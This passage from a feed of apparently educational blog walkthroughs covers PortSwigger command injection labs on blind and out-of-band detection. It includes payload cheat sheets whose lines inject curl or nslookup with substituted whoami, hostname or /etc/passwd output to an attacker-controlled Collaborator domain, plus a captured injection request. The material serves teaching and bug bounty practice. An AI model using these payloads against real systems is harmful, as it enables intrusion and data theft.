-u[BACKTICK].&lt;collaborator-domain&gt; [PIPE][PIPE]<br>email = [PIPE][PIPE] curl [DOLLAR](whoami).&lt;collaborator-domain&gt; [PIPE][PIPE]<br>email = [PIPE][PIPE] curl [DOLLAR](cat /etc/hostname).&lt;collaborator-domain&gt; [PIPE][PIPE]<br>email = [PIPE][PIPE] curl [BACKTICK]cat /etc/passwd head -1[BACKTICK].&lt;collaborator-domain&gt; [PIPE][PIPE]</pre><p>[DOLLAR](...) represents the dollar sign immediately followed by an opening parenthesis, the command, and a closing parenthesis — the modern command-substitution syntax, equivalent in effect to wrapping the command in backticks.</p><p>Note: DNS labels have strict character restrictions (alphanumeric and hyphens only, max 63 characters per label), so when exfiltrating arbitrary file contents, attackers often pipe data through tr, base32, or xxd to make it DNS-safe.</p><h3>Common Mistakes Beginners Make</h3><ul><li>Forgetting that DNS labels can’t contain spaces, slashes, or many special characters — raw file content often needs encoding (e.g., Base32) before being smuggled into a hostname.</li><li>Using the dollar-parenthesis substitution syntax in shells that don’t support it (older /bin/sh variants might require backtick substitution instead).</li><li>Not realizing that both A and AAAA queries might appear for the same lookup — IPv6 resolution attempts are normal and don’t indicate a different vulnerability.</li><li>Truncated output: command output longer than 63 characters per label (or 253 characters total hostname) will break or get truncated — chaining multiple smaller lookups is the real-world workaround.</li></ul><h3>Understanding the Vulnerability</h3><p>This lab demonstrates the most advanced technique covered in this series: turning a side channel (DNS) into a full bidirectional data exfiltration tool despite the application providing zero direct feedback. The root cause remains the same insecure shell concatenation seen in every lab in this series, but the impact demonstrated here is total: an attacker can read any file or command output the web server process has permission to access, entirely blind.</p><h3>Exploitation Process</h3><ol><li>Confirm OOB interaction capability (Part 4’s technique).</li><li>Use command substitution (backticks or dollar-parenthesis syntax) to capture command output inline.</li><li>Prepend that output as a subdomain label of the Collaborator domain.</li><li>Trigger a DNS-resolving command (curl, nslookup, dig, ping) against the crafted domain.</li><li>Read the leaked data directly from the Collaborator DNS interaction log.</li></ol><h3>Real-World Scenario</h3><p>This exact technique is used in real-world incidents to exfiltrate data from environments with extremely restrictive egress filtering — environments where HTTP/HTTPS outbound traffic is completely blocked, but DNS resolution (a near-universal requirement for any networked system) is still permitted. Attackers have used this method to leak AWS credentials, environment variables, and database connection strings from hardened cloud environments.</p><h3>Bug Bounty Perspective</h3><ul><li><strong>What a hunter looks for:</strong> Same indicators as Part 4, but pushed further — once OOB execution is confirmed, immediately attempt data exfiltration via command substitution to maximize the demonstrated impact in the report.</li><li><strong>Severity:</strong> Critical (often the highest possible severity rating) — this isn’t just “code execution confirmed,” it’s “arbitrary file/data theft confirmed,” which is the strongest possible evidence a triager can ask for.</li><li><strong>Impact:</strong> Full theft of environment secrets, configuration files, internal hostnames, or any data accessible to the web server process — all while evading network-layer detections that only monitor HTTP/HTTPS traffic.</li><li><strong>Example attack scenario:</strong> A hunter confirms blind injection in a logging microservice with strict egress firewall rules blocking all outbound HTTP. By exfiltrating the contents of a sensitive environment file via DNS subdomain labels (chunked and Base32-encoded), the hunter retrieves cloud API keys — a maximum-severity finding with real business impact.</li></ul><h3>Defense Tips</h3><ul><li><strong>DNS egress monitoring:</strong> Many organizations block outbound HTTP but forget DNS — monitor and restrict DNS queries to internal/expected resolvers only.</li><li><strong>Application-layer fixes remain identical:</strong> input validation, allowlisting, parameterized execution, and least privilege are still the real fix — OOB exfiltration is just a detection and impact-demonstration technique, not a separate vulnerability.</li><li><strong>Network segmentation:</strong> Application servers should not have unrestricted internet access, including DNS, where not strictly necessary.</li><li><strong>Logging and alerting:</strong> Unusual DNS query patterns (high entropy subdomains, queries to unfamiliar TLDs) are a strong indicator of data exfiltration attempts and should trigger alerts.</li></ul><h3>Key Takeaways</h3><ul><li>DNS-based exfiltration can leak data even when all other outbound channels are blocked.</li><li>Command substitution turns command output into exfiltratable text.</li><li>DNS label character and length limits mean real-world exfiltration often requires encoding and chunking.</li><li>This is the highest-impact blind injection technique and should be the final step in any blind command injection assessment.</li></ul><h3>Mini Cheat Sheet — Out-of-Band Data Exfiltration Payloads</h3><pre>[PIPE][PIPE] curl [BACKTICK]whoami[BACKTICK].attacker-collaborator-domain [PIPE][PIPE]<br>[PIPE][PIPE] curl [DOLLAR](whoami).attacker-collaborator-domain [PIPE][PIPE]<br>[PIPE][PIPE] nslookup [BACKTICK]id -u[BACKTICK].attacker-collaborator-domain [PIPE][PIPE]</pre><p>Command substitution embeds output as a DNS subdomain label, leaking data via the resolution request itself.</p><h3>Technical Deep Dive: How Command Injection Actually Works (Series Wrap-Up)</h3><p>Now that all five labs are complete, here’s the full technical picture that ties the entire series together.</p><h3>How Web Applications Execute OS Commands</h3><p>Backend code frequently needs to interact with the operating system — converting images, pinging hosts, compressing files, querying DNS, or generating reports. Common ways this happens across languages (illustrative pseudocode, not meant to be run as-is):</p><pre>Python  — os.system(&quot;ping -c 1 &quot; + user_input)<br>PHP     — exec(&quot;convert &quot; + filename_param + &quot; output.png&quot;)<br>Node.js — exec(&quot;nslookup &quot; + req.body.host)<br>Java    — Runtime.getRuntime().exec(&quot;sh -c ping &quot; + host)</pre><p>In every case above, if the user-supplied value contains shell metacharacters, the underlying shell interpreter (/bin/sh on Linux, cmd.exe on Windows) will treat that input as part of the command syntax, not just as a data argument.</p><h3>Linux Command Separators</h3><p>OperatorBehavior; (semicolon)Runs commands sequentially, regardless of success/failure&amp;&amp; (AND)Runs the second command only if the first succeeds[PIPE][PIPE] (OR)Runs the second command only if the first fails[PIPE] (single pipe)Pipes output of the first command into the secondBacktick wrappingCommand substitution (older syntax)[DOLLAR](...)Command substitution (modern syntax)NewlineOften treated as a command separator in many shell contexts</p><h3>Windows Command Separators</h3><p>OperatorBehavior&amp; (single ampersand)Runs commands sequentially&amp;&amp; (AND)Runs the second command only if the first succeeds[PIPE] (single pipe)Pipes output[PIPE][PIPE] (OR)Runs the second command only if the first fails</p><p>Windows cmd.exe lacks native backtick or dollar-parenthesis substitution, but PowerShell supports dollar-parenthesis syntax for subexpressions.</p><h3>Command Chaining Techniques</h3><p>Attackers chain commands to combine reconnaissance, payload delivery, and exfiltration into a single injection point — for example, separating whoami, id, and uname -a with semicolons so all three run in sequence from one injected string.</p><h3>Blind Command Injection (Recap)</h3><p>Occurs when there’s no visible difference in application output regardless of whether injection succeeded. Detected via:</p><ul><li>Time delays (the sleep command) — Part 2.</li><li>File-based output capture (redirecting output into an accessible path) — Part 3.</li><li>Out-of-band interactions (DNS/HTTP callbacks) — Parts 4 and 5.</li></ul><h3>Out-of-Band (OOB) Command Injection (Recap)</h3><p>A technique where the vulnerable application is made to initiate a network connection (typically DNS or HTTP) to an attacker-controlled listener, proving execution even when no other feedback channel exists. Tools: Burp Collaborator, interactsh, custom DNS logging servers.</p><h3>Data Exfiltration Techniques — Full Comparison</h3><p>TechniqueHow it worksLimitationFile write + static servingRedirect command output into a known web-accessible directory, then fetch the fileRequires a known writable, web-accessible pathDNS subdomain smugglingEmbed command output as a subdomain label of an attacker-controlled domainDNS label length (63 chars) and charset limitsHTTP request with data in path/headersEmbed command output directly in a URL path or header sent to attacker infrastructureMay be blocked by egress filtering on HTTPBase32/Base64 encoding for binary-safe exfilEncode binary or special-character data before embedding it in a DNS labelNeeds chunking for large data</p><h3>Detection Methodology — Full Workflow</h3><ol><li>Identify candidate parameters — anything resembling hostnames, filenames, IDs passed to backend utilities.</li><li>Send a baseline request, note response time and body.</li><li>Inject simple separators with a benign command (whoami, echo test).</li><li>Check for reflected output — if present, it’s non-blind (Part 1 style).</li><li>If no reflected output, test time-based delay (sleep 10) — Part 2 style.</li><li>If timing is inconclusive or unavailable, test OOB interaction via Collaborator — Part 4 style.</li><li>Once OOB confirmed, attempt full data exfiltration via command substitution — Part 5 style.</li><li>If a static file-serving directory is known, attempt output redirection as an alternative — Part 3 style.</li></ol><h3>Final Summary: What This Series Covered</h3><p>Across all five PortSwigger Web Security Academy labs, a complete progression of command injection exploitation skills was built from the ground up:</p><ul><li><strong>Part 1</strong> taught the fundamentals: how unsanitized shell concatenation leads to direct, visible code execution.</li><li><strong>Part 2</strong> introduced the concept of blind vulnerabilities and how to detect them using time delays.</li><li><strong>Part 3</strong> showed how to convert a blind vulnerability into a readable one using output redirection into a publicly accessible static file.</li><li><strong>Part 4</strong> introduced out-of-band detection via Burp Collaborator, the gold standard for unambiguous proof of blind RCE.</li><li><strong>Part 5</strong> combined command substitution with OOB DNS interactions to achieve full data exfiltration — the most advanced and highest-impact technique in the series.</li></ul><p>These skills translate directly into real-world bug bounty hunting and professional penetration testing. Understanding the full spectrum — from simple reflected injection to sophisticated OOB exfiltration — means being able to detect and prove command injection in virtually any application architecture, including heavily firewalled, zero-feedback environments that would stump less experienced testers.</p><h3>Conclusion</h3><p>Command injection remains one of the most consequential vulnerability classes in web security, precisely because its impact (full remote code execution) is so severe and its detection (especially in blind scenarios) requires real skill and creativity. Working through PortSwigger’s Web Security Academy labs — from the simple case all the way to out-of-band data exfiltration — builds the kind of hands-on, methodical thinking that separates competent security researchers from script-kiddie scanner operators.</p><p>If you’re starting your bug bounty or penetration testing journey, treat these labs as a baseline, not a finish line. Practice them repeatedly, try alternative payloads, and most importantly: always test ethically, only on systems you are explicitly authorized to test — whether that’s PortSwigger’s legal training labs, your own lab environments, or programs with a clear, signed scope agreement. The skills are powerful; use them responsibly.</p><h3>Bonus: Full Command Injection Payload Cheat Sheet (All 5 Parts)</h3><h3>Linux Payloads</h3><pre>; whoami<br>&amp;&amp; whoami<br>[PIPE][PIPE] whoami<br>[PIPE] whoami<br>[BACKTICK]whoami[BACKTICK]<br>[DOLLAR](whoami)</pre><p>Use when the target shell is /bin/sh or /bin/bash and output may be reflected.</p><h3>Windows Payloads</h3><pre>&amp; whoami<br>&amp;&amp; whoami<br>[PIPE] whoami<br>[PIPE][PIPE] whoami</pre><p>Windows cmd.exe lacks native backtick or dollar-parenthesis substitution; use PowerShell&#39;s dollar-parenthesis syntax if PowerShell is the execution context.</p><h3>Blind Payloads (Time-Based)</h3><pre>; sleep 10<br>[PIPE][PIPE] sleep 10 [PIPE][PIPE]<br>&amp; timeout 10</pre><p>Linux uses sleep; Windows uses timeout or a ping-based delay (ping -n 10 127.0.0.1) as a substitute.</p><h3>Out-of-Band Payloads</h3><pre>[PIPE][PIPE] curl attacker-collaborator-domain [PIPE][PIPE]<br>[PIPE][PIPE] nslookup attacker-collaborator-domain [PIPE][PIPE]<br>[PIPE][PIPE] wget attacker-collaborator-domain [PIPE][PIPE]</pre><p>Replace attacker-collaborator-domain with your Burp Collaborator or interactsh generated subdomain.</p><h3>Out-of-Band Data Exfiltration Payloads</h3><pre>[PIPE][PIPE] curl [BACKTICK]whoami[BACKTICK].attacker-collaborator-domain [PIPE][PIPE]<br>[PIPE][PIPE] curl [DOLLAR](whoami).attacker-collaborator-domain [PIPE][PIPE]<br>[PIPE][PIPE] nslookup [BACKTICK]id -u[BACKTICK].attacker-collaborator-domain [PIPE][PIPE]</pre><p>Command substitution embeds output as a DNS subdomain label, leaking data via the resolution request itself.</p><h3>URL-Encoded Payloads</h3><p>When injecting via GET parameters or form bodies, spaces and special characters must be encoded:</p><p>Plain textURL-EncodedTwo pipe characters + sleep 10 + two pipe characters%7C%7C sleep+10+%7C%7C; whoami%3B+whoamiBacktick + whoami + backtick%60whoami%60$(whoami)%24%28whoami%29</p><p>CharacterURL-EncodedSpace%20 or + (in form bodies);%3BPipe%7C&amp;%26Backtick%60$%24(%28)%29</p><p><em>This concludes the 5-part series on PortSwigger Web Security Academy’s OS Command Injection module. Practiced entirely on PortSwigger’s free, legal, intentionally vulnerable training labs. All testing was performed exclusively against these designated training environments. Always obtain explicit authorization before testing any system you do not own.</em></p><h3>About the Author</h3><p>Nitish Mukhiya is a security researcher and bug bounty hunter focused on web application security, currently sharpening skills through PortSwigger’s Web Security Academy.</p><p>Connect:</p><ul><li>Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06dd2266943c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 4: Blind OS Command Injection with Out-of-Band Interaction — PortSwigger Web Security Academy…]]></title>
            <link>https://medium.com/@nitishmukhiya/lab-4-blind-os-command-injection-with-out-of-band-interaction-portswigger-web-security-academy-b8837983fda2?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8837983fda2</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[command-injection]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Sat, 27 Jun 2026 13:22:23 GMT</pubDate>
            <atom:updated>2026-06-27T13:22:23.089Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab 4: Blind OS Command Injection with Out-of-Band Interaction — PortSwigger Web Security Academy Walkthrough (Part 4 of 5)</h3><h3>When there’s no file to read and no time delay to measure: proving Remote Code Execution using Burp Collaborator and DNS callbacks.</h3><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4m8jBcD_mdC6ERGvSVWiyA.png" /></figure><h3>Series Recap</h3><p>This is <strong>Part 4 of a 5-part series</strong> on PortSwigger Web Security Academy’s OS Command Injection labs.</p><blockquote><em>👉 </em><strong><em>New here?</em></strong><em> Catch up first: </em><a href="https://medium.com/@nitishmukhiya/lab-1-os-command-injection-portswigger-web-security-academy-walkthrough-part-1-of-5-c3025c655555"><em>Part 1: OS Command Injection, Simple Case</em></a><em> | Part 2: Blind OS Command Injection with Time Delays | Part 3: Blind OS Command Injection with Output Redirection</em></blockquote><p>PartLabPart 1OS command injection, simple casePart 2Blind OS command injection with time delaysPart 3Blind OS command injection with output redirection<strong>Part 4 (this article)</strong>Blind OS command injection with out-of-band interactionPart 5Blind OS command injection with out-of-band data exfiltration</p><p>In Part 3, we got lucky — the application happened to have a publicly accessible static directory we could write into. Real-world targets often don’t offer that convenience. This lab introduces the single most reliable technique for proving blind RCE in <em>any</em> environment: <strong>out-of-band (OOB) interaction</strong>.</p><h3>Quick Refresher: The Limits of Previous Techniques</h3><ul><li><strong>Time-based detection</strong> (Part 2) proves execution but leaks zero data.</li><li><strong>Output redirection</strong> (Part 3) leaks data, but only works if you can find a writable, web-accessible directory.</li></ul><p>What if neither applies? What if the server has no exposed static file path, and you need rock-solid proof of RCE for a bug bounty report? That’s where out-of-band techniques come in.</p><h3>Lab Walkthrough: Blind OS Command Injection with Out-of-Band Interaction</h3><h3>Lab Objective</h3><p>This lab removes the convenience of a predictable, writable static directory. Instead, the goal is to prove command execution using <strong>Burp Collaborator</strong>, PortSwigger’s out-of-band interaction service, by triggering a DNS lookup from the vulnerable server to an attacker-controlled domain.</p><h3>Vulnerability Present</h3><p><strong>Blind OS command injection confirmed via out-of-band DNS/HTTP interaction</strong> — the most reliable detection technique for fully blind injection points where there is no time-based or file-based feedback channel available (or where you simply want unambiguous proof).</p><h3>How the Application Behaves</h3><p>Same feedback form pattern as previous labs, hosted at:</p><pre>https://0ac900f3044830d180574ef800dd00cc.web-security-academy.net/feedback</pre><p>The form requires Name, Email, Subject, and Message, with client-side validation enforcing required fields (the screenshot shows a “Please fill out this field” tooltip on an empty Email field, confirming standard HTML5 form validation is present).</p><h3>Recon Process</h3><ol><li>Open Burp Suite’s <strong>Collaborator</strong> tab and generate a unique payload domain (e.g., cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com).</li><li>Inject a command into the email parameter that forces the server to make a DNS/HTTP request to that Collaborator subdomain.</li><li>Poll the Collaborator tab for incoming interactions.</li></ol><h3>Payload Used</h3><p>From the Burp Repeater screenshot, the captured request body was:</p><pre>csrf=1A645IbYZbIZz7Jxbl4knrAo9ZqrwLwC&amp;name=hello&amp;email=hello%40hello.com||curl+cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com||&amp;subject=aladdin&amp;message=mtlb+kuchh+bhi+</pre><p>The key injected fragment in email:</p><pre>hello@hello.com||curl cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com||<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Z_vJZX4Kox2RyrxTslvVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXBq9h4Gb4nZMnx7K1bT7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*idB0KulXEn1QdSkF_N162Q.png" /></figure><h3>Why the Payload Works — Line by Line</h3><p>Fragment Explanation</p><p>hello@hello.com Valid-looking email prefix to pass any naive format checks</p><p>||Ensures the injected command runs regardless of the original command&#39;s success/failure</p><p>curl cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.comForces the vulnerable server to make an outbound HTTP request (and a DNS resolution as a prerequisite) to the unique Collaborator subdomain</p><p>|| (trailing)Suppresses errors from leftover application-appended syntax</p><h3>Server-Side Impact</h3><p>The vulnerable server resolves the Collaborator domain via DNS and then issues an HTTP GET request to it using curl. Both interactions are captured by Burp Collaborator. The screenshot of the Collaborator tab confirms:</p><ul><li><strong>5 interactions logged</strong>: 4 DNS lookups (type A) and 1 HTTP request, all referencing the payload cdtz9vh1bbwqr4venhkxazmmodu4iu6j.</li><li>Source IPs in the 3.248.186.x and 34.253.173.2 range — consistent with PortSwigger&#39;s lab infrastructure resolving and connecting out to the Collaborator server.</li><li>The description explicitly states: <em>“The Collaborator server received a DNS lookup of type A for the domain name cdtz9vh1bbwqr4venhkxazmmodu4iu6j.oastify.com.”</em></li></ul><p>This is undeniable proof of remote code execution — the only way that DNS lookup and HTTP request could have been generated is if the injected curl command actually executed on the target server.</p><h3>How the Lab Was Solved</h3><p>Once the out-of-band interaction was confirmed in the Collaborator tab, PortSwigger’s backend automatically detects the interaction tied to the lab’s unique identifier and marks the lab as solved — reflected in the “Congratulations, you solved the lab!” banner on the feedback page.</p><h3>Common Mistakes Beginners Make</h3><ul><li>Forgetting to regenerate a fresh Collaborator payload for each test (reusing old payloads makes it hard to correlate which request triggered which interaction).</li><li>Not polling Collaborator manually if automatic polling is disabled or delayed.</li><li>Assuming a missing DNS interaction means the injection failed — sometimes outbound traffic is blocked by egress filtering, which is itself useful recon information.</li><li>Using tools that may not exist on the target (e.g., wget when only curl is installed, or vice versa) — testing with multiple tools increases reliability.</li></ul><h3>Understanding the Vulnerability</h3><p>Out-of-band detection exploits the fact that <strong>DNS resolution is almost never blocked</strong> by firewalls, even when other outbound traffic is restricted. This makes it the most reliable universal technique for proving blind command injection, since it works even in heavily locked-down environments where time-based and file-based techniques might fail or be ambiguous.</p><h3>Exploitation Process</h3><ol><li>Generate a unique Collaborator payload.</li><li>Inject an OOB-triggering command (curl, nslookup, wget, ping) referencing that payload.</li><li>Poll Collaborator for interactions.</li><li>Correlate the interaction with the specific injected parameter to confirm the exact injection point.</li><li>Use this confirmed channel as a foundation for further exploitation (e.g., data exfiltration, as covered in Part 5).</li></ol><h3>Real-World Scenario</h3><p>In real engagements, internal tools (like internal monitoring dashboards, log parsers, or backup scripts) are often not internet-facing but can still resolve DNS. A penetration tester with no other way to confirm RCE can use a tool like Burp Collaborator (or a self-hosted alternative like interactsh) to get a clean, unambiguous out-of-band signal — even through layers of network segmentation.</p><h3>Bug Bounty Perspective</h3><ul><li><strong>What a hunter looks for:</strong> any parameter where neither time-based nor reflected detection is conclusive — OOB testing should be a default step in any blind injection workflow.</li><li><strong>Severity:</strong> Critical — confirmed RCE with externally verifiable proof, which is exactly what triage teams want to see in a bug bounty report.</li><li><strong>Impact:</strong> Definitive proof of command execution strengthens report credibility and severity scoring.</li><li><strong>Example attack scenario:</strong> A hunter suspects a &quot;webhook tester&quot; feature is vulnerable. Standard testing shows no behavioral difference. Injecting a Collaborator-based curl payload and seeing a DNS+HTTP hit confirms the RCE beyond doubt, turning a &quot;maybe&quot; into a &quot;definitely Critical&quot; report.</li></ul><h3>Defense Tips</h3><ul><li>Restrict outbound network access from application servers (egress filtering) so that even successful injection cannot reach attacker infrastructure.</li><li>Implement DNS monitoring to detect anomalous outbound lookups to suspicious or newly registered domains.</li><li>Apply the same input validation and parameterized execution defenses as previous labs — OOB techniques are a <em>detection</em> method, not a new vulnerability, so the fix is identical.</li><li>Use network segmentation so that even if a web server is compromised, it cannot reach sensitive internal services.</li></ul><h3>Key Takeaways</h3><ul><li>DNS-based out-of-band detection is the gold standard for confirming blind injection when other techniques are inconclusive.</li><li>Burp Collaborator (or open-source equivalents like interactsh) should be part of every blind vulnerability testing workflow.</li><li>Egress filtering at the network level is a strong defense-in-depth measure against OOB exploitation.</li><li>Always generate a fresh, unique Collaborator subdomain per test to avoid ambiguity.</li><li>Confirming OOB interaction is the <em>foundation</em> for the next step: actually leaking data through that same channel.</li></ul><h3>What’s Next</h3><p>In <strong>Part 5</strong>, the final article in this series, we’ll push this technique one step further — instead of just proving the server <em>can</em> reach our domain, we’ll smuggle the actual output of whoami inside the DNS request itself, achieving full <strong>out-of-band data exfiltration</strong> on the final lab in the module.</p><p><em>Practiced on PortSwigger Web Security Academy’s free OS Command Injection learning path. All testing was performed exclusively against PortSwigger’s intentionally vulnerable training labs, designed specifically for this purpose. Always obtain explicit authorization before testing any system you do not own.</em></p><h3>About the Author</h3><p>Nitish Mukhiya is a security researcher and bug bounty hunter focused on web application security, currently sharpening skills through PortSwigger’s Web Security Academy.</p><p>Connect:</p><ul><li>Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8837983fda2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>